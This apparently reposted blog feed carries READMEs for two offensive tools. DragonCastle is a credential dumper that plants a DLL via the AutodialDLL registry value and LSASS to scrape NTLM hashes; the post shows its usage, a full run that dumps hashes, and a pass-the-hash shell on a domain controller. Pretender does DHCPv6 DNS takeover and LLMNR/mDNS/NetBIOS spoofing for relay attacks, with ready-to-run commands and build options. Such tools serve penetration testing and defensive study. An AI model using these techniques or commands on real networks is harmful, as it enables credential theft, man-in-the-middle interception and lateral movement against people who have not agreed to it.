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DragonCastle - A PoC That Combines AutodialDLL Lateral Movement Technique And SSP To Scrape NTLM Hashes From LSASS Process

By: noreply@blogger.com (Unknown)


A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.

Description

Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV.

The DLLMain always returns False so the processes doesn't keep it.


Caveats

It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions:

Build Support
Windows 10 version 21H2
Windows 10 version 21H1 Implemented
Windows 10 version 20H2 Implemented
Windows 10 version 20H1 (2004) Implemented
Windows 10 version 1909 Implemented
Windows 10 version 1903 Implemented
Windows 10 version 1809 Implemented
Windows 10 version 1803 Implemented
Windows 10 version 1709 Implemented
Windows 10 version 1703 Implemented
Windows 10 version 1607 Implemented
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz.

Usage

credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value" dir="auto">
psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid doma   in name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value</   pre>

Example

Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977   b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!
psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                            Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivile   ge                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               En   able computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\>

Author

Juan Manuel Fernández (@TheXC3LL)

References



Pretender - Your MitM Sidekick For Relaying Attacks Featuring DHCPv6 DNS Takeover As Well As mDNS, LLMNR And NetBIOS-NS Spoofing

By: noreply@blogger.com (Unknown)

Your MitM sidekick for relaying attacks featuring DHCPv6 DNS takeover
as well as mDNS, LLMNR and NetBIOS-NS spoofing


pretender is a tool developed by RedTeam Pentesting to obtain machine-in-the-middle positions via spoofed local name resolution and DHCPv6 DNS takeover attacks. pretender primarily targets Windows hosts, as it is intended to be used for relaying attacks but can be deployed on Linux, Windows and all other platforms Go supports. Name resolution queries can be answered with arbitrary IPs for situations where the relaying tool runs on a different host than pretender. It is designed to work with tools such as Impacket's ntlmrelayx.py and krbrelayx that handle the incoming connections for relaying attacks or hash dumping.

Read our blog post for more information about DHCPv6 DNS takeover, local name resolution spoofing and relay attacks.


Usage

To get a feel for the situation in the local network, pretender can be started in --dry mode where it only logs incoming queries and does not answer any of them:

pretender -i eth0 --dry
pretender -i eth0 --dry --no-ra # without router advertisements

To perform local name resolution spoofing via mDNS, LLMNR and NetBIOS-NS as well as a DHCPv6 DNS takeover with router advertisements, simply run pretender like this:

pretender -i eth0

You can disable certain attacks with --no-dhcp-dns (disabled DHCPv6, DNS and router advertisements), --no-lnr (disabled mDNS, LLMNR and NetBIOS-NS), --no-mdns, --no-llmnr, --no-netbios and --no-ra.

If ntlmrelayx.py runs on a different host (say 10.0.0.10/fe80::5), run pretender like this:

pretender -i eth0 -4 10.0.0.10 -6 fe80::5

Pretender can be setup to only respond to queries for certain domains (or all but certain domains) and it can perform the spoofing attacks only for certain hosts (or all but certain hosts). Referencing hosts by hostname relies on the name resolution of the host that runs pretender. See the following example:

pretender -i eth0 --spoof example.com --dont-spoof-for 10.0.0.3,host1.corp,fe80::f --ignore-nofqdn

For more information, run pretender --help.


Tips

  • Make sure to enable IPv6 support in ntlmrelayx.py with the -6 flag
  • Pretender can be configured to stop after a certain time period for situations where it cannot be aborted manually (--stop-after and main.vendorStopAfter)
  • Host info lookup (which relies on the ARP table, IP neighbours and reverse lookups) can be disabled with --no-host-info or main.vendorNoHostInfo
  • If you are not sure which interface to choose (especially on Windows), list all interfaces with names and addresses using --interfaces
  • If you want to exclude hosts from local name resolution spoofing, make sure to also exclude their IPv6 addresses or use --no-ipv6-lnr/main.vendorNoIPv6LNR
  • DHCPv6 messages usually contain a FQDN option (which can also sometimes contain a hostname which is not a FQDN). This option is used to filter out messages by hostname (--spoof-for/--dont-spoof-for). You can decide what to do with DHCPv6 messages without FQDN option by setting or omitting --ignore-nofqdn
  • Depending on the build configuration, either the operating system resolver (CGO_ENABLED=1) or a Go implementation (CGO_ENABLED=0) is used. This can be important for host info collection because the OS resolver may support local name resolution and the Go implementation does not, unless a stub resolver is used.
  • The host info functionality is currently only available for Windows and Linux.
  • A custom MAC address vendor list can be compiled into the binary by replacing the default list hostinfo/mac-vendors.txt. Only lines with MAC prefixes in the following format are recognized: FF:FF:FF<tab>VendorID<tab>Vendor (the MAC prefix length can be arbitrary).
  • If you only want to perform Kerberos relaying you can specify --no-lnr and --spoof-types SOA to ignore any queries that are unrelated to the attack.
  • When conducting a Kerberos relay attack where krbrelayx.py runs on a different host than pretender (relay IPv4 address points to different host that runs krbrelayx.py), the host running krbrelayx.py will also need to run pretender in order to receive and deny the Dynamic Update query sent to the relay IPv4 address.

Building and Vendoring

Pretender can be build as follows:

go build

Pretender can also be compiled with pre-configured settings. For this, the ldflags have to be modified like this:

-ldflags '-X main.vendorInterface=eth1'

For example, Pretender can be built for Windows with a specific default interface, without colored output and with a relay IPv4 address configured:

GOOS=windows go build -trimpath -ldflags '-X "main.vendorInterface=Ethernet 2" -X main.vendorNoColor=true -X main.vendorRelayIPv4=10.0.0.10'

Full list of vendoring options (see defaults.go or pretender --help for detailed information):

vendorInterface
vendorRelayIPv4
vendorRelayIPv6
vendorSOAHostname
vendorNoDHCPv6DNSTakeover
vendorNoDHCPv6
vendorNoDNS
vendorNoMDNS
vendorNoNetBIOS
vendorNoLLMNR
vendorNoLocalNameResolution
vendorNoRA
vendorNoIPv6LNR
vendorSpoof
vendorDontSpoof
vendorSpoofFor
vendorDontSpoofFor
vendorSpoofTypes
vendorIgnoreDHCPv6NoFQDN
vendorDryMode
vendorTTL
vendorLeaseLifetime
vendorRARouterLifetime
vendorRAPeriod
vendorStopAfter
vendorVerbose
vendorNoColor
vendorNoTimestamps
vendorLogFileName
vendorNoHostInfo
vendorHideIgnored
vendorRedirectStderr
vendorListInterfaces


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